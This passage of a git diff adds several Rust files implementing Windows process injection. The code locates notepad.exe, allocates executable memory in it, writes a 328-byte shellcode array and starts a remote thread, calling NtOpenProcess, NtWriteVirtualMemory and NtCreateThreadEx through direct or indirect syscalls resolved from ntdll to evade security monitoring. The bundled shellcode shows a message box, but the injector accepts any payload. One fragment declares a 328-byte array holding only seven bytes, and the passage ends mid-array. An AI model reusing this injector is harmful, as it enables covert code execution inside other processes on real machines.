MEM_COMMIT | MEM_RESERVE + PAGE_EXECUTE_READWRITE, + ) + }; + + if alloc_status != 0 { + eprintln!("Failed to allocate memory: 0x{:X}", alloc_status); + return; + } + + println!( + "Successfully allocated memory at: {:?}, size: {} bytes", + base_address, region_size + ); + + // Write the shellcode to the allocated memory + let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff ]; // Replace with your actual shellcode + let mut bytes_written: usize = 0; + + let write_status = unsafe { + nt_write_virtual_memory( + process_handle, + base_address, + shellcode.as_ptr() as *const c_void, + shellcode.len(), + &mut bytes_written, + ) + }; + + if write_status != 0 { + eprintln!("Failed to write shellcode: 0x{:X}", write_status); + return; + } + + println!( + "Successfully wrote shellcode to memory. Bytes written: {}", + bytes_written + ); + + // Execute the shellcode using NtCreateThreadEx + let mut thread_handle: HANDLE = null_mut(); + let thread_status = unsafe { + nt_create_thread_ex( + &mut thread_handle as *mut _, + 0x1FFFFF, // All possible thread access rights + null_mut(), + process_handle, + base_address, + null_mut(), + 0, + 0, + 0, + 0, + null_mut(), + ) + }; + + if thread_status != 0 { + eprintln!("Failed to create thread: 0x{:X}", thread_status); + return; + } + + println!("Shellcode execution thread created successfully!"); +} \ No newline at end of file diff --git a/syscalls/indirect_syscalls/src/test2.rs b/syscalls/indirect_syscalls/src/test2.rs new file mode 100644 index 0000000..c9ef8d3 --- /dev/null +++ b/syscalls/indirect_syscalls/src/test2.rs @@ -0,0 +1,238 @@ +use std::arch::asm; +use std::ffi::CString; +use std::ptr::{self, null_mut}; +use winapi::shared::basetsd::SIZE_T; +use winapi::um::errhandlingapi::GetLastError; +use winapi::um::handleapi::CloseHandle; +use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}; +use winapi::um::winnt::{ + HANDLE, PVOID, +}; +use winapi::um::libloaderapi::GetProcAddress; +use winapi::um::libloaderapi::GetModuleHandleA; + + +unsafe fn resolve_syscall(name: &str) -> Option<(u32, usize)> { + // Get handle to ntdll + let ntdll = GetModuleHandleA("ntdll.dll\0".as_ptr() as *const i8); + if ntdll.is_null() { + return None; + } + + // Get function address + let func_address = GetProcAddress(ntdll, name.as_ptr() as *const i8); + if func_address.is_null() { + return None; + } + + // Extract syscall number and syscall instruction address + let syscall_number = *(func_address.add(4) as *const u8) as u32; + let syscall_instruction = func_address.add(0x12); + Some((syscall_number, syscall_instruction as usize)) +} + + +unsafe fn open_process(pid: u32) -> Option { + let (syscall_number, syscall_address) = resolve_syscall("NtOpenProcess\0").unwrap(); + + let mut process_handle: HANDLE = ptr::null_mut(); + let object_attributes: usize = 0; // Default attributes + let client_id = [pid as usize, 0]; // ClientId with PID + + let status: u32; + asm!( + "mov r10, rcx", + "call {syscall}", + syscall = in(reg) syscall_address, + inout("eax") syscall_number => status, + in("rcx") &mut process_handle, + in("rdx") 0x1fffff, // Desired access + in("r8") &object_attributes, + in("r9") &client_id, + options(nostack) + ); + + if status == 0 { Some(process_handle) } else { None } +} + + +unsafe fn nt_allocate_virtual_memory( + process_handle: HANDLE, + alloc_address: *mut PVOID, + size: &mut SIZE_T, +) -> bool { + let (syscall_number, syscall_address) = resolve_syscall("NtAllocateVirtualMemory\0").unwrap(); + + let status: u32; + asm!( + "mov r10, rcx", + "call {syscall}", + syscall = in(reg) syscall_address, + inout("eax") syscall_number => status, + in("rcx") process_handle, + in("rdx") alloc_address, + in("r8") ptr::null::(), + in("r9") size, + options(nostack) + ); + status == 0 +} + +unsafe fn nt_write_virtual_memory( + process_handle: HANDLE, + base_address: PVOID, + buffer: &[u8], +) -> bool { + let (syscall_number, syscall_address) = resolve_syscall("NtWriteVirtualMemory\0").unwrap(); + + let mut bytes_written: SIZE_T = 0; + let status: u32; + asm!( + "mov r10, rcx", + "call {syscall}", + syscall = in(reg) syscall_address, + inout("eax") syscall_number => status, + in("rcx") process_handle, + in("rdx") base_address, + in("r8") buffer.as_ptr(), + in("r9") buffer.len(), + options(nostack) + ); + status == 0 +} + +unsafe fn nt_create_thread_ex( + process_handle: HANDLE, + start_address: PVOID, +) -> bool { + let (syscall_number, syscall_address) = resolve_syscall("NtCreateThreadEx\0").unwrap(); + + let thread_handle: HANDLE = ptr::null_mut(); + let status: u32; + asm!( + "mov r10, rcx", + "call {syscall}", + syscall = in(reg) syscall_address, + inout("eax") syscall_number => status, + in("rcx") &thread_handle, + in("rdx") process_handle, + in("r8") start_address, + options(nostack) + ); + status == 0 +} + +pub fn execute(){ + unsafe { + + let process_name = "notepad.exe"; + let pid = get_pid(process_name); + println!("PID: {}", pid); + + let target_process = open_process(pid).expect("Failed to open process"); + + println!("Target process opened successfully: {:?}", target_process); + + let mut alloc_address: PVOID = ptr::null_mut(); + let mut alloc_size: SIZE_T = 0x1000; + if !nt_allocate_virtual_memory( + target_process, + &mut alloc_address as *mut _ as *mut _, + &mut alloc_size, + ) { + eprintln!("NtAllocateVirtualMemory failed"); + return; + } + + + // Define the shellcode + let shellcode:[u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 ]; + + // Write shellcode into allocated memory + if !nt_write_virtual_memory( + target_process, + alloc_address, + &shellcode + ) { + eprintln!("NtWriteVirtualMemory failed"); + return; + } + + // Create a new thread to execute the shellcode + if !nt_create_thread_ex(target_process, alloc_address) { + eprintln!("NtCreateThreadEx failed"); + return; + } + + println!("Shellcode executed successfully."); + } +} + + +fn get_pid(process_name: &str) -> u32{ + unsafe{ + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as u32; + + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap.is_null(){ + println!("Error while snapshoting processes : Error : {}",GetLastError()); + std::process::exit(0); + } + + let mut pid = 0; + + let mut result = Process32First(snap, &mut pe) != 0; + + while result{ + + let exe_file = CString::from_vec_unchecked(pe.szExeFile + .iter() + .map(|&file| file as u8) + .take_while(|&c| c!=0) + .collect::>(), + ); + + if exe_file.to_str().unwrap() == process_name { + pid = pe.th32ProcessID; + break; + } + result = Process32Next(snap, &mut pe) !=0; + } + + if pid == 0{ + println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS"); + std::process::exit(0); + } + + CloseHandle(snap); + pid + } +} diff --git a/syscalls/indirect_syscalls/src/test3.rs b/syscalls/indirect_syscalls/src/test3.rs new file mode 100644 index 0000000..835d778 --- /dev/null +++ b/syscalls/indirect_syscalls/src/test3.rs @@ -0,0 +1,346 @@ +#![allow(non_snake_case)] +use std::ffi::CString; +use std::mem; +use std::ptr::null_mut; +use ntapi::ntapi_base::CLIENT_ID; +use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST; +use winapi::ctypes::c_void; +use winapi::shared::basetsd::{PSIZE_T, SIZE_T}; +use winapi::shared::ntdef::{BOOLEAN, NTSTATUS, OBJECT_ATTRIBUTES, PLARGE_INTEGER, POBJECT_ATTRIBUTES}; +// use winapi::shared::minwindef::{DWORD, FALSE}; +use winapi::shared::ntstatus::STATUS_SUCCESS; +use winapi::um::errhandlingapi::GetLastError; +use winapi::um::libloaderapi::GetModuleHandleW; +// use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory}; +// use winapi::um::processthreadsapi::{CreateRemoteThread, OpenProcess}; +use winapi::um::handleapi::CloseHandle; +// use winapi::um::synchapi::WaitForSingleObject; +use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}; +use winapi::um::winnt::{ACCESS_MASK, HANDLE, MEMORY_BASIC_INFORMATION, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS}; + + +fn get_pid(process_name: &str) -> u32{ + unsafe{ + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as u32; + + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap.is_null(){ + println!("Error while snapshoting processes : Error : {}",GetLastError()); + std::process::exit(0); + } + + let mut pid = 0; + + let mut result = Process32First(snap, &mut pe) != 0; + + while result{ + + let exe_file = CString::from_vec_unchecked(pe.szExeFile + .iter() + .map(|&file| file as u8) + .take_while(|&c| c!=0) + .collect::>(), + ); + + if exe_file.to_str().unwrap() == process_name { + pid = pe.th32ProcessID; + break; + } + result = Process32Next(snap, &mut pe) !=0; + } + + if pid == 0{ + println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS"); + std::process::exit(0); + } + + CloseHandle(snap); + pid + } +} + + +extern "C" { + fn GetProcAddress(hModule: HANDLE, lpProcName: *const u8) -> usize; +} + + +// Helper function to find syscall number by looking for mov eax, imm32 pattern +unsafe fn find_syscall_number(func_address: usize) -> Option { + let mut i = 0; + while i < 32 { // Arbitrary limit to search within the first few bytes + if *(func_address as *const u8).offset(i) == 0xB8 { // 'mov eax, imm32' + return Some(*(func_address as *const u32).offset(i + 1)); + } + i += 1; + } + None +} + +unsafe fn resolve_nt_syscall(function_name: &str) -> Option<(u32, usize)> { + let ntdll = GetModuleHandleW("ntdll.dll\0".encode_utf16().collect::>().as_ptr()); + if ntdll.is_null() { + println!("Unable to get ntdll module"); + return None; + } + + let func_address = GetProcAddress(ntdll as _, function_name.as_ptr()); + if func_address == 0 { + println!("Unable to get function address for {}", function_name); + return None; + } + + // Parse the syscall number and address +// let ssn = *(func_address as *const u8).offset(4) as u32; +// let syscall_address = func_address + 0x12; +// Some((ssn, syscall_address)) + if let Some(ssn) = find_syscall_number(func_address) { + // Find a known syscall instruction in ntdll.dll + // Here we're assuming any syscall will do; in practice, you might want to use the exact one + let syscall_stub = find_syscall_stub(ntdll as *mut c_void); + if syscall_stub.is_null() { + println!("Failed to locate syscall stub"); + return None; + } + Some((ssn, syscall_stub as usize)) + } else { + println!("Failed to resolve syscall number for {}", function_name); + None + } +} + +const SYSCALL_OPCODE: u16 = 0x050F; // 0F 05 in little-endian + +unsafe fn find_syscall_stub(ntdll: HANDLE) -> *mut u8 { + let ntdll_base = ntdll as *mut u8; + + // Get the size of ntdll.dll in memory + let mut ntdll_size = 0; + let mut ntdll_info: MEMORY_BASIC_INFORMATION = std::mem::zeroed(); + let mut current_address = ntdll_base; + while VirtualQuery(current_address as *const _, &mut ntdll_info, std::mem::size_of::()) != 0 { + if ntdll_info.AllocationBase == ntdll_base as *mut c_void{ + ntdll_size += ntdll_info.RegionSize; + } else { + break; + } + current_address = current_address.add(ntdll_info.RegionSize); + } + + // Scan for the syscall instruction + for i in 0..(ntdll_size - 1) { + let current_byte = ntdll_base.offset(i as isize); + if *(current_byte as *const u16) == SYSCALL_OPCODE { + return current_byte as *mut u8; + } + } + + // If no syscall instruction is found, return null + null_mut() +} + +// Helper functions needed for the above code +// use winapi::um::memoryapi::{VirtualQuery, MEMORY_BASIC_INFORMATION}; + +// Make sure to link against these libraries for Windows API calls +#[link(name = "kernel32")] +extern "system" { + fn VirtualQuery(lpAddress: *const std::ffi::c_void, lpBuffer: *mut MEMORY_BASIC_INFORMATION, dwLength: usize) -> usize; +} + + + +unsafe fn indirect_syscall_injector(payload: &[u8], pid: u32) -> bool { + // Resolve syscalls + let nt_open_process = resolve_nt_syscall("NtOpenProcess\0").unwrap(); + let nt_allocate_virtual_memory = resolve_nt_syscall("NtAllocateVirtualMemory\0").unwrap(); + let nt_write_virtual_memory = resolve_nt_syscall("NtWriteVirtualMemory\0").unwrap(); + let nt_create_thread_ex = resolve_nt_syscall("NtCreateThreadEx\0").unwrap(); + let nt_wait_for_single_object = resolve_nt_syscall("NtWaitForSingleObject\0").unwrap(); + let nt_close = resolve_nt_syscall("NtClose\0").unwrap(); + + let mut oa: OBJECT_ATTRIBUTES = mem::zeroed(); + let mut cid: CLIENT_ID = mem::zeroed(); + cid.UniqueProcess = pid as *mut c_void; + + // Create an indirect syscall for NtOpenProcess + let syscall: unsafe extern "system" fn( + *mut *mut c_void, + ACCESS_MASK, + *mut OBJECT_ATTRIBUTES, + *mut CLIENT_ID, + ) -> NTSTATUS = mem::transmute(nt_open_process.1); + + let mut h_process: HANDLE = null_mut(); + let status = syscall( + &mut h_process as *mut *mut c_void, + PROCESS_ALL_ACCESS, + &mut oa, + &mut cid, + ); + + if status != STATUS_SUCCESS { + eprintln!("NtOpenProcess failed with status: 0x{:x}", status); + return false; + } + + let syscall_alloc: unsafe extern "system" fn( + *mut c_void, + *mut *mut c_void, + usize, + *mut SIZE_T, + u32, + u32, + ) -> NTSTATUS = mem::transmute(nt_allocate_virtual_memory.1); + + let mut alloc_size: SIZE_T = 4096; + let mut r_buffer: *mut c_void = null_mut(); + let status = syscall_alloc( + h_process, + &mut r_buffer, + 0, + &mut alloc_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + + + if status != STATUS_SUCCESS { + eprintln!("NtAllocateVirtualMemory failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + + // write payload to allocated memory ! + + let mut bytes_written: SIZE_T = 0; + + let syscall: unsafe extern "system" fn( + *mut c_void, // HANDLE + *mut c_void, // PVOID + *mut c_void, // pvoid + SIZE_T, + PSIZE_T, + ) -> NTSTATUS = std::mem::transmute(nt_write_virtual_memory.1); + + let status = syscall( + h_process, + r_buffer, + payload.as_ptr() as _, + payload.len(), + &mut bytes_written, + ); + + if status != STATUS_SUCCESS { + eprintln!("NtWriteVirtualMemory failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + + let mut h_thread: HANDLE = null_mut(); + // nt_create_thread_ex + let syscall: unsafe extern "system" fn( + *mut *mut c_void, // PHANDLE -> * -> * + ACCESS_MASK, // U32 + POBJECT_ATTRIBUTES, + *mut c_void, + *mut c_void, + *mut c_void, + u32, + SIZE_T, + SIZE_T, + SIZE_T, + PPS_ATTRIBUTE_LIST, + ) -> NTSTATUS = std::mem::transmute(nt_create_thread_ex.1); + + let status = syscall( + &mut h_thread, + winapi::um::winnt::THREAD_ALL_ACCESS, + null_mut(), + h_process, + r_buffer, + null_mut(), + 0, + 0, + 0, + 0, + null_mut(), + ); + + if status != STATUS_SUCCESS { + eprintln!("NtCreateThreadEx failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + + // let use new NtWaitForSingleObject ! + let syscall: unsafe extern "system" fn( + *mut c_void, + BOOLEAN, + PLARGE_INTEGER, + ) -> NTSTATUS = std::mem::transmute(nt_wait_for_single_object.1); + + let status = syscall( + h_thread, 0, null_mut() + ); + + if status != STATUS_SUCCESS { + eprintln!("NtWaitForSingleObject failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + // WaitForSingleObject(h_thread, 0xFFFFFFFF); + let NtCloseHandle: unsafe extern "system" fn( + *mut c_void + ) -> NTSTATUS = std::mem::transmute(nt_close.1); + + NtCloseHandle(h_thread); + NtCloseHandle(h_process); + true +} + +pub fn execute(){ + let payload: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00]; + + let process_name = "notepad.exe"; + let pid = get_pid(&process_name); + + println!("PID of {}:{}", process_name, pid); + + unsafe{ + if !indirect_syscall_injector(&payload, pid){ + eprintln!("Injection Failed"); + }else{ + println!("Injection Success"); + } + } +} + diff --git a/syscalls/indirect_syscalls/src/test4.rs b/syscalls/indirect_syscalls/src/test4.rs new file mode 100644 index 0000000..f38c974 --- /dev/null +++ b/syscalls/indirect_syscalls/src/test4.rs @@ -0,0 +1,329 @@ +#![allow(non_snake_case)] +use std::ffi::CString; +use std::mem; +use std::ptr::null_mut; +use ntapi::ntapi_base::CLIENT_ID; +use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST; +use winapi::ctypes::c_void; +use winapi::shared::basetsd::{PSIZE_T, SIZE_T}; +use winapi::shared::ntdef::{BOOLEAN, NTSTATUS, OBJECT_ATTRIBUTES, PLARGE_INTEGER, POBJECT_ATTRIBUTES}; +// use winapi::shared::minwindef::{DWORD, FALSE}; +use winapi::shared::ntstatus::STATUS_SUCCESS; +use winapi::um::errhandlingapi::GetLastError; +use winapi::um::libloaderapi::GetModuleHandleW; +// use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory}; +// use winapi::um::processthreadsapi::{CreateRemoteThread, OpenProcess}; +use winapi::um::handleapi::CloseHandle; +use winapi::um::memoryapi::VirtualQuery; +// use winapi::um::synchapi::WaitForSingleObject; +use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}; +use winapi::um::winnt::{ACCESS_MASK, HANDLE, MEMORY_BASIC_INFORMATION, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS}; + + +fn get_pid(process_name: &str) -> u32{ + unsafe{ + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as u32; + + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap.is_null(){ + println!("Error while snapshoting processes : Error : {}",GetLastError()); + std::process::exit(0); + } + + let mut pid = 0; + + let mut result = Process32First(snap, &mut pe) != 0; + + while result{ + + let exe_file = CString::from_vec_unchecked(pe.szExeFile + .iter() + .map(|&file| file as u8) + .take_while(|&c| c!=0) + .collect::>(), + ); + + if exe_file.to_str().unwrap() == process_name { + pid = pe.th32ProcessID; + break; + } + result = Process32Next(snap, &mut pe) !=0; + } + + if pid == 0{ + println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS"); + std::process::exit(0); + } + + CloseHandle(snap); + pid + } +} + + +extern "C" { + fn GetProcAddress(hModule: HANDLE, lpProcName: *const u8) -> usize; +} + +unsafe fn resolve_nt_syscall(function_name: &str) -> Option<(u32, usize)> { + let ntdll = GetModuleHandleW("ntdll.dll\0".encode_utf16().collect::>().as_ptr()); + if ntdll.is_null() { + println!("Unable to get ntdll module"); + return None; + } + + let func_address = GetProcAddress(ntdll as _, function_name.as_ptr()); + if func_address == 0{ + println!("Unable to GetProcessAddress"); + return None; + } + + // Parse the syscall number and address + let ssn = *(func_address as *const u8).offset(4) as u32; + let syscall_address = func_address + 0x12; + + println!("Syscall {} resolved to: 0x{:x}, address: 0x{:x}", function_name, ssn, syscall_address); + + Some((ssn, syscall_address)) +} + +fn find_syscall_stub(ntdll_base: usize, signature: &[u8]) -> Option { + let mut mbi: MEMORY_BASIC_INFORMATION = unsafe { std::mem::zeroed() }; + let mut address = ntdll_base; + + unsafe { + while VirtualQuery( + address as *const _, + &mut mbi, + std::mem::size_of::(), + ) != 0 + { + if mbi.State == MEM_COMMIT && mbi.Protect == PAGE_EXECUTE_READWRITE { + let region = std::slice::from_raw_parts(address as *const u8, mbi.RegionSize); + if let Some(offset) = region.windows(signature.len()).position(|window| window == signature) { + return Some(address + offset); + } + } + address += mbi.RegionSize; + } + } + None +} + + +unsafe extern "system" fn custom_syscall( + syscall_stub: usize, + param1: *mut c_void, + param2: *mut c_void, +) -> u32 { + let func: unsafe extern "system" fn(*mut c_void, *mut c_void) -> u32 = std::mem::transmute(syscall_stub); + func(param1, param2) +} + + + +unsafe fn indirect_syscall_injector(payload: &[u8], pid: u32) -> bool { + // Resolve syscalls + let nt_open_process = resolve_nt_syscall("NtOpenProcess\0").unwrap(); + let nt_allocate_virtual_memory = resolve_nt_syscall("NtAllocateVirtualMemory\0").unwrap(); + let nt_write_virtual_memory = resolve_nt_syscall("NtWriteVirtualMemory\0").unwrap(); + let nt_create_thread_ex = resolve_nt_syscall("NtCreateThreadEx\0").unwrap(); + let nt_wait_for_single_object = resolve_nt_syscall("NtWaitForSingleObject\0").unwrap(); + let nt_close = resolve_nt_syscall("NtClose\0").unwrap(); + + let mut oa: OBJECT_ATTRIBUTES = mem::zeroed(); + oa.Length = std::mem::size_of::() as u32; + + let mut cid: CLIENT_ID = mem::zeroed(); + cid.UniqueProcess = pid as usize as *mut _; + + + // Create an indirect syscall for NtOpenProcess + let syscall: unsafe extern "system" fn( + *mut *mut c_void, + ACCESS_MASK, + *mut OBJECT_ATTRIBUTES, + *mut CLIENT_ID, + ) -> NTSTATUS = mem::transmute(nt_open_process.1); + + let mut h_process: HANDLE = null_mut(); + let status: i32 = syscall( + &mut h_process as *mut HANDLE, + PROCESS_ALL_ACCESS, + &mut oa as *mut _, + &mut cid as *mut _, + ); + + + // Debug Purpose ! + println!("Parameters to NtOpenProcess:"); + println!("HANDLE: {:p}", &mut h_process as *mut HANDLE); + println!("DesiredAccess: 0x{:x}", PROCESS_ALL_ACCESS); + println!("ObjectAttributes Length: {}", oa.Length); + println!("ClientId.UniqueProcess: {:p}", cid.UniqueProcess); + + if status != STATUS_SUCCESS { + eprintln!("NtOpenProcess failed with status: 0x{:x}", status); + return false; + } + + let syscall_alloc: unsafe extern "system" fn( + *mut c_void, + *mut *mut c_void, + usize, + *mut SIZE_T, + u32, + u32, + ) -> NTSTATUS = mem::transmute(nt_allocate_virtual_memory.1); + + let mut alloc_size: SIZE_T = 4096; + let mut r_buffer: *mut c_void = null_mut(); + let status = syscall_alloc( + h_process, + &mut r_buffer, + 0, + &mut alloc_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + + + if status != STATUS_SUCCESS { + eprintln!("NtAllocateVirtualMemory failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + + // write payload to allocated memory ! + + let mut bytes_written: SIZE_T = 0; + + let syscall: unsafe extern "system" fn( + *mut c_void, // HANDLE + *mut c_void, // PVOID + *mut c_void, // pvoid + SIZE_T, + PSIZE_T, + ) -> NTSTATUS = std::mem::transmute(nt_write_virtual_memory.1); + + let status = syscall( + h_process, + r_buffer, + payload.as_ptr() as _, + payload.len(), + &mut bytes_written, + ); + + if status != STATUS_SUCCESS { + eprintln!("NtWriteVirtualMemory failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + + let mut h_thread: HANDLE = null_mut(); + // nt_create_thread_ex + let syscall: unsafe extern "system" fn( + *mut *mut c_void, // PHANDLE -> * -> * + ACCESS_MASK, // U32 + POBJECT_ATTRIBUTES, + *mut c_void, + *mut c_void, + *mut c_void, + u32, + SIZE_T, + SIZE_T, + SIZE_T, + PPS_ATTRIBUTE_LIST, + ) -> NTSTATUS = std::mem::transmute(nt_create_thread_ex.1); + + let status = syscall( + &mut h_thread, + winapi::um::winnt::THREAD_ALL_ACCESS, + null_mut(), + h_process, + r_buffer, + null_mut(), + 0, + 0, + 0, + 0, + null_mut(), + ); + + if status != STATUS_SUCCESS { + eprintln!("NtCreateThreadEx failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + + // let use new NtWaitForSingleObject ! + let syscall: unsafe extern "system" fn( + *mut c_void, + BOOLEAN, + PLARGE_INTEGER, + ) -> NTSTATUS = std::mem::transmute(nt_wait_for_single_object.1); + + let status = syscall( + h_thread, 0, null_mut() + ); + + if status != STATUS_SUCCESS { + eprintln!("NtWaitForSingleObject failed with status: 0x{:x}", status); + CloseHandle(h_process); + return false; + } + // WaitForSingleObject(h_thread, 0xFFFFFFFF); + let NtCloseHandle: unsafe extern "system" fn( + *mut c_void + ) -> NTSTATUS = std::mem::transmute(nt_close.1); + + NtCloseHandle(h_thread); + NtCloseHandle(h_process); + true +} + +pub fn execute(){ + let payload: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 